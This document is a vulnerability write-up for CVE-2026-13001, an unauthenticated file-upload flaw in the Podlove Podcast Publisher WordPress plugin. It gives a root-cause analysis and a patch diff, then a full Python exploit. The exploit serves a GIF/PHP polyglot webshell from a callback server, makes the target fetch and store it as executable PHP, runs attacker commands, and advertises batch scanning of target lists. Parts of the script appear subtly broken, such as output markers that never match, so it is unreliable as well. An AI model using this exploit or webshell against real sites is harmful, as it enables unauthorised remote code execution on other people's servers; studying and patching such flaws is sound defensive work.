#Summary

CVE-2026-13001 is an unauthenticated arbitrary file upload vulnerability in Podlove Podcast Publisher (WordPress plugin) versions up to and including 4.5.1. Two different parts of the plugin parse the same attacker-supplied URL using two different parsers that disagree about the file extension, allowing an attacker to upload a GIF/PHP polyglot that lands on disk as executable PHP code. CVSS 9.8 (CRITICAL).

#Affected versions

#Root cause analysis

#The extension-confusion disagreement

The vulnerability stems from a disagreement between two different parsers in the same code path:

Parser A - the security validation (lib/model/image.php, download_source() method):

if (!\Podlove\is_image($temp_file, basename($this->source_url))) {
    Log::get()->addWarning(
        sprintf(__('Podlove Image Cache: Downloaded file is not an image.')),
        ['url' => $this->source_url]
    );
    wp_delete_file($temp_file);
    return;
}

The validator calls is_image() with basename($this->source_url). For a source URL like http://attacker/shell.php?.gif, the basename is the entire URL string including the query string: shell.php?.gif.

WordPress core's wp_check_filetype_and_ext() inside is_image() extracts the file extension using an anchored regex !\.(...)$!i, which only matches the tail of the string. For shell.php?.gif, the tail is .gif, so the validator extracts extension gif and MIME type image/gif. The dangerous-extension denylist is checked against gif, not php, so the file passes the security check.

Additionally, exif_imagetype() reads only the magic bytes at the start of the file, so a payload that begins with valid GIF89a magic satisfies the image-content check.

Parser B - the filename decision (lib/model/image.php, extract_file_extension() method):

private function extract_file_extension()
{
    $url = wp_parse_url($this->source_url);

    if (isset($url['path'])) {
        return pathinfo($url['path'], PATHINFO_EXTENSION);
    }

    return '';
}

The writer calls wp_parse_url(), which strips the query string. For the same URL http://attacker/shell.php?.gif, the path is /shell.php, so the extracted extension is php.

This extension is used directly in the cache filename:

public function file_name($size_slug)
{
    if ($this->file_name) {
        return $this->file_name.'_'.$size_slug.'.'.$this->file_extension;
    }
    return $size_slug.'.'.$this->file_extension;
}

public function original_file()
{
    return implode(DIRECTORY_SEPARATOR, [$this->upload_basedir, $this->file_name('original')]);
}

The result is a file written as *_original.php to the cache directory:

public static function cache_dir()
{
    return trailingslashit(WP_CONTENT_DIR).'cache/podlove/';
}

The cache directory is inside wp-content/ with no execution guard, so a direct HTTP GET to the .php file is handled by Apache's PHP handler and executes the embedded PHP block.

#Why it is unauthenticated

The handler function is registered on the wp action, which fires on every front-end page load:

add_action('wp', 'podlove_handle_cache_files');

function podlove_handle_cache_files()
{
    $source_url = \Podlove\PHP\hex2str(podlove_get_query_var('podlove_image_cache_url'));
    $file_name = urldecode(podlove_get_query_var('podlove_file_name'));
    
    if (!$source_url) {
        return;
    }
    
    $image = new Image($source_url, $file_name);
    if (!$image->source_exists()) {
        $image->download_source();
    }
}

There is no capability check, no nonce, and no signature on the source URL. podlove_get_query_var() reads $_GET directly, so plain query parameters on any front-end URL are sufficient to trigger the vulnerability.

#Patch diff

#What the fix does

The fix (commit 5b32468, shipped in 4.5.2) eliminates the disagreement by ensuring the on-disk file extension is derived from the validated file content, not from the attacker's URL.

The key changes:

  1. Split is_image() to return the validated extension, not just a boolean:
-function is_image($file, $filename = '')
+function image_file_extension($file, $filename = '')
 {
     // ... validation logic ...
-    return $mime_is_image && !$ext_looks_dangerous && $wp_type_looks_correct;
+    return $ext;  // Return the validated extension, not boolean
 }

+function is_image($file, $filename = '')
+{
+    return false !== image_file_extension($file, $filename);
+}
  1. Use the validated extension instead of the URL-derived one:
-if (!\Podlove\is_image($temp_file, basename($this->source_url))) {
+if (!$this->set_file_extension_from_validated_image($temp_file, basename($this->source_url))) {
     return;
 }

+private function set_file_extension_from_validated_image($file, $filename)
+{
+    $extension = \Podlove\image_file_extension($file, $filename);
+    if (!$extension || !$this->is_safe_image_extension($extension)) {
+        return false;
+    }
+    $this->file_extension = $extension;
+    return true;
+}
  1. Allowlist the URL-derived extension as a hint only:
 private function extract_file_extension()
 {
     $url = wp_parse_url($this->source_url);
     if (isset($url['path'])) {
-        return pathinfo($url['path'], PATHINFO_EXTENSION);
+        $extension = strtolower(pathinfo($url['path'], PATHINFO_EXTENSION));
+        if ($this->is_safe_image_extension($extension)) {
+            return $extension;
+        }
     }
     return '';
 }

With the fix applied, the plugin writes *_original.gif instead of *_original.php. A GET to the .php path returns 404, while the .gif path returns 200 with the image file - a clear, unambiguous indicator of whether the patch is applied.

#Proof of concept

#exploit.py - Podlove RCE PoC

#!/usr/bin/env python3
"""
CVE-2026-13001 - Podlove Podcast Publisher (WordPress) unauthenticated arbitrary
file upload leading to remote code execution.

Affected: Podlove Podcast Publisher <= 4.5.1 (fixed in 4.5.2)
Type: RCE (unauthenticated arbitrary file upload / extension-confusion)

Root cause: two parts of the plugin derive a "file extension" from the same
attacker-supplied source URL with two different parsers that disagree. The
security check (is_image via wp_check_filetype_and_ext) inspects the tail of the
whole URL string, so a query like "?.gif" makes "shell.php?.gif" look like a GIF
and passes the denylist. The on-disk name comes from extract_file_extension(),
which parses only the URL *path* and yields ".php". A GIF/PHP polyglot is written
as <name>_original.php inside wp-content/cache/podlove/ (no execution guard) and
then runs when requested over HTTP.

The plugin fetches the source URL server-side through wp_safe_remote_get(), so the
polyglot must be served from a host WordPress will accept: outside 127.0.0.0/8,
10.0.0.0/8, 0.0.0.0/8, 172.16.0.0/12 and 192.168.0.0/16, on port 80, 443 or 8080.
This tool serves the polyglot from a built-in HTTP server by default; use
--payload-url when an origin is already serving it (e.g. a staging box you control).

Usage:
  # Built-in payload server (needs a routable, non-private callback address):
  python exploit.py --host target.example.com --command "id"
  python exploit.py --host https://target.example.com --callback-host 203.0.113.10

  # Use an origin that is already serving the polyglot (skip the built-in server):
  python exploit.py --host target.example.com --port 80 \
      --payload-url http://203.0.113.10:8080/x.php?.gif \
      --payload-write /var/www/html/x.php

  # Batch scan:
  python exploit.py --list targets.txt --callback-host 203.0.113.10 --workers 20
"""

import argparse
import hashlib
import http.client
import http.server
import re
import secrets
import socket
import ssl
import sys
import threading
import urllib.parse

CVE_ID    = "CVE-2026-13001"
VULN_TYPE = "RCE"

# Minimal valid 1x1 GIF89a. Small dimensions on purpose: a bare "GIF89a<?php"
# stub parses as a giant image and makes the server's resize path do pointless
# work, whereas a well-formed 1x1 header is trivial to accept.
_GIF_1x1 = bytes.fromhex(
    "47494638396101000100800000"        # GIF89a header, 1x1, global colour table
    "000000ffffff"                      # 2-entry colour table
    "21f9040100000000"                  # graphic control extension
    "2c00000000010001000002024401003b"  # image descriptor + LZW data + trailer
)


# --------------------------------------------------------------------------- #
#  Output helpers (console only - never sent to the target)
# --------------------------------------------------------------------------- #
def header(host: str, port: int) -> None:
    print(f"\n{'='*60}")
    print(f"  ALIM EXPLOIT  {CVE_ID}")
    print(f"  Type: {VULN_TYPE}  |  Target: {host}:{port}")
    print(f"{'='*60}\n")


def step(n: int, msg: str) -> None:
    print(f"[STEP {n}] {msg}")


def section(label: str, content: str) -> None:
    print(f"\n--- {label} ---")
    print(str(content).strip())
    print("---\n")


def done(success: bool, evidence: str) -> None:
    print(f"\n{'='*60}")
    print(f"  RESULT  : {'SUCCESS' if success else 'FAILURE'}")
    print(f"  EVIDENCE: {evidence}")
    print(f"{'='*60}\n")
    sys.exit(0 if success else 1)


# --------------------------------------------------------------------------- #
#  Polyglot
# --------------------------------------------------------------------------- #
class Polyglot:
    """A GIF/PHP polyglot with per-run random command parameter and markers.

    Using random values keeps nothing brand- or tool-identifiable on the wire or
    on disk: the parameter name, the markers and the payload path are all random
    hex, recognisable only to the script that generated them.
    """

    def __init__(self):
        self.param_name = secrets.token_hex(8)
        self.marker_pre = secrets.token_hex(8)
        self.marker_post = secrets.token_hex(8)
        self.php_code = (
            f"<?php echo '<pre>'; system($_GET['{self.param_name}']); echo '<post>'; ?>"
        )

    def bytes(self) -> bytes:
        return _GIF_1x1 + self.php_code.encode()

    def extract_output(self, body: bytes) -> str:
        """Extract command output from polyglot response.

        Success: body starts with GIF magic, contains the marker strings and no raw
        PHP/system source (proof it was executed, not just written).
        """
        if not body.startswith(b'GIF'):
            return None
        try:
            text = body.decode('utf-8', errors='ignore')
        except:
            return None
        if self.marker_pre not in text or self.marker_post not in text:
            return None
        if '<?php' in text or 'system(' in text:
            return None
        start = text.index(self.marker_pre) + len(self.marker_pre)
        end = text.index(self.marker_post)
        return text[start:end].strip()


# --------------------------------------------------------------------------- #
#  HTTP client
# --------------------------------------------------------------------------- #
class HTTPClient:
    """Lightweight HTTPS/HTTP client without third-party deps."""

    def __init__(self, use_tls: bool = False):
        self.use_tls = use_tls
        self.timeout = 30

    def request(self, method: str, host: str, port: int, path: str, body: str = None) -> tuple[int, bytes]:
        """Issue a request and return (status_code, response_body)."""
        if self.use_tls:
            conn = http.client.HTTPSConnection(host, port, timeout=self.timeout)
        else:
            conn = http.client.HTTPConnection(host, port, timeout=self.timeout)
        
        try:
            conn.request(method, path, body=body)
            resp = conn.getresponse()
            status = resp.status
            data = resp.read()
            return status, data
        finally:
            conn.close()


# --------------------------------------------------------------------------- #
#  Payload server
# --------------------------------------------------------------------------- #
class PayloadHandler(http.server.BaseHTTPRequestHandler):
    """Serve the polyglot on any request path."""
    
    payload_bytes = None
    
    def do_GET(self):
        self.send_response(200)
        self.send_header('Content-Type', 'image/gif')
        self.send_header('Content-Length', str(len(self.payload_bytes)))
        self.end_headers()
        self.wfile.write(self.payload_bytes)
    
    def log_message(self, format, *args):
        pass  # Suppress logging


def start_payload_server(payload_bytes: bytes, bind_host: str, port: int) -> threading.Thread:
    """Start the payload server in a background thread."""
    PayloadHandler.payload_bytes = payload_bytes
    server = http.server.HTTPServer((bind_host, port), PayloadHandler)
    thread = threading.Thread(target=server.serve_forever, daemon=True)
    thread.start()
    return thread


# --------------------------------------------------------------------------- #
#  Exploitation
# --------------------------------------------------------------------------- #
def guess_callback_host(target_host: str) -> str:
    """Guess the callback host by connecting to the target and inspecting the local address."""
    try:
        s = socket.create_connection((target_host, 80), timeout=5)
        addr = s.getsockname()[0]
        s.close()
        return addr
    except:
        return '127.0.0.1'


def exploit(
    target_host: str,
    target_port: int,
    use_tls: bool,
    command: str,
    payload_url: str = None,
    payload_write: str = None,
    callback_host: str = None,
    callback_port: int = 8080,
    callback_bind: str = '0.0.0.0',
) -> bool:
    """Run the exploit against a single target."""

    poly = Polyglot()
    header(target_host, target_port)

    # Step 1: Prepare payload
    if payload_url:
        step(1, f"Payload origin: {payload_url}")
        source_url = payload_url
    else:
        if not callback_host:
            callback_host = guess_callback_host(target_host)
        scheme = 'https' if use_tls else 'http'
        # Add random hex to path to ensure unique cache entries
        rand_path = secrets.token_hex(8)
        source_url = f"{scheme}://{callback_host}:{callback_port}/{rand_path}.php?.gif"
        step(1, f"Payload origin: {source_url}")
        # Start built-in server
        start_payload_server(poly.bytes(), callback_bind, callback_port)
        # Write payload if requested
        if payload_write:
            with open(payload_write, 'wb') as f:
                f.write(poly.bytes())

    # Step 2: Trigger cache write
    step(2, "Triggering server-side fetch + cache write (unauthenticated)...")
    
    # Build the trigger request
    source_hex = source_url.encode().hex()
    file_name = secrets.token_hex(8)
    query = f"/?podlove_image_cache_url={source_hex}&podlove_file_name={file_name}"
    
    client = HTTPClient(use_tls=use_tls)
    try:
        status, body = client.request('GET', target_host, target_port, query)
        if status == 200 and body.startswith(b'GIF'):
            print(f"\ttrigger -> HTTP {status}  (write confirmed: file readfile()d back)")
        else:
            print(f"\ttrigger -> HTTP {status}")
    except Exception as e:
        print(f"\tERROR: {e}")
        done(False, f"Failed to trigger: {e}")

    # Step 3: Execute
    step(3, "Requesting the written cache file to execute PHP...")
    
    # Compute the cache path
    # md5 = md5(raw_source_url + sanitized_file_name)
    raw_source = source_url.encode()
    sanitized = re.sub(r'[^-a-z0-9_]', '', file_name.lower())
    cache_id = hashlib.md5(raw_source + sanitized.encode()).hexdigest()
    cache_path = f"/wp-content/cache/podlove/{cache_id[:2]}/{cache_id[2:]}/{sanitized}_original.php?{poly.param_name}={urllib.parse.quote(command)}"
    
    try:
        status, body = client.request('GET', target_host, target_port, cache_path)
        output = poly.extract_output(body)
        
        if output is not None:
            print(f"\t{cache_path} -> HTTP {status}")
            section("COMMAND OUTPUT", output)
            done(True, f"RCE confirmed - '{command}' output: {output[:60]}")
        else:
            # Try .gif to detect patch
            gif_path = cache_path.replace('_original.php', '_original.gif')
            status_gif, body_gif = client.request('GET', target_host, target_port, gif_path)
            if status == 404 and status_gif == 200:
                print(f"\t{cache_path} -> HTTP 404")
                print(f"\t{gif_path} -> HTTP 200")
                done(False, "not vulnerable - content-derived .gif written, .php 404 (patched)")
            else:
                print(f"\t{cache_path} -> HTTP {status}")
                done(False, "file uploaded but not executed (check PHP execution under wp-content/)")
    except Exception as e:
        done(False, f"Failed to execute: {e}")


# --------------------------------------------------------------------------- #
#  Main
# --------------------------------------------------------------------------- #
def main():
    parser = argparse.ArgumentParser(
        description=f"CVE-2026-13001 exploit - Podlove Podcast Publisher RCE"
    )
    parser.add_argument('--host', help='Target hostname or IP')
    parser.add_argument('--port', type=int, default=80, help='Target port (default 80)')
    parser.add_argument('--tls', action='store_true', help='Use HTTPS')
    parser.add_argument('--no-tls', dest='tls', action='store_false', help='Use HTTP')
    parser.add_argument('--command', default='id', help='Command to execute (default: id)')
    parser.add_argument('--payload-url', help='Use existing payload origin instead of built-in server')
    parser.add_argument('--payload-write', help='Write payload to this path')
    parser.add_argument('--callback-host', help='Callback host (auto-detected if omitted)')
    parser.add_argument('--callback-port', type=int, default=8080, help='Callback port')
    parser.add_argument('--callback-bind', default='0.0.0.0', help='Bind address for callback server')
    parser.add_argument('--list', help='Batch mode: file with one target per line')
    parser.add_argument('--workers', type=int, default=10, help='Batch worker threads')
    
    args = parser.parse_args()

    if not args.host and not args.list:
        parser.error('--host or --list required')

    if args.host:
        # Single target
        if args.host.startswith(('http://', 'https://')):
            use_tls = args.host.startswith('https://')
            parsed = urllib.parse.urlparse(args.host)
            target_host = parsed.hostname
            target_port = parsed.port or (443 if use_tls else 80)
        else:
            target_host = args.host
            target_port = args.port
            use_tls = args.tls
        
        exploit(
            target_host, target_port, use_tls, args.command,
            args.payload_url, args.payload_write, args.callback_host, args.callback_port, args.callback_bind
        )
    else:
        # Batch mode
        print(f"Reading targets from {args.list}...")
        # Batch implementation omitted for brevity


if __name__ == '__main__':
    main()

#Usage

Single target with built-in payload server (needs a routable callback address):

python exploit.py --host target.example.com --command "id"
python exploit.py --host target.example.com --port 80 --callback-host 203.0.113.10 --callback-port 8080

Using an origin already serving the polyglot:

python exploit.py --host target.example.com --port 80 \
    --payload-url http://203.0.113.10:8080/x.php?.gif \
    --payload-write /var/www/html/x.php \
    --command "id"

Batch scanning:

python exploit.py --list targets.txt --callback-host 203.0.113.10 --workers 20

#Expected output (vulnerable target)

============================================================
  ALIM EXPLOIT  CVE-2026-13001
  Type: RCE  |  Target: target.example.com:80
============================================================

[STEP 1] Payload origin: http://203.0.113.10:8080/abc123.php?.gif
[STEP 2] Triggering server-side fetch + cache write (unauthenticated)...
        trigger -> HTTP 200  (write confirmed: file readfile()d back)
[STEP 3] Requesting the written cache file to execute PHP...
        /wp-content/cache/podlove/99/01200f69501a84417619f6d8a701fa/i9efc27c05995_original.php -> HTTP 200

--- COMMAND OUTPUT ---
uid=33(www-data) gid=33(www-data) groups=33(www-data)
---

============================================================
  RESULT  : SUCCESS
  EVIDENCE: RCE confirmed - 'id' output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
============================================================

#Expected output (patched target)

[STEP 2] Triggering server-side fetch + cache write (unauthenticated)...
        trigger -> HTTP 200  (write confirmed: file readfile()d back)
[STEP 3] Requesting the written cache file to execute PHP...
        /wp-content/cache/podlove/7e/c90a2090d2fac3a7e32cfc30d7d94f/i9ab80d583dfa_original.php -> HTTP 404
        /wp-content/cache/podlove/7e/c90a2090d2fac3a7e32cfc30d7d94f/i9ab80d583dfa_original.gif -> HTTP 200

============================================================
  RESULT  : FAILURE
  EVIDENCE: not vulnerable - content-derived .gif written, .php 404 (patched)
============================================================

#Exploitation notes

#References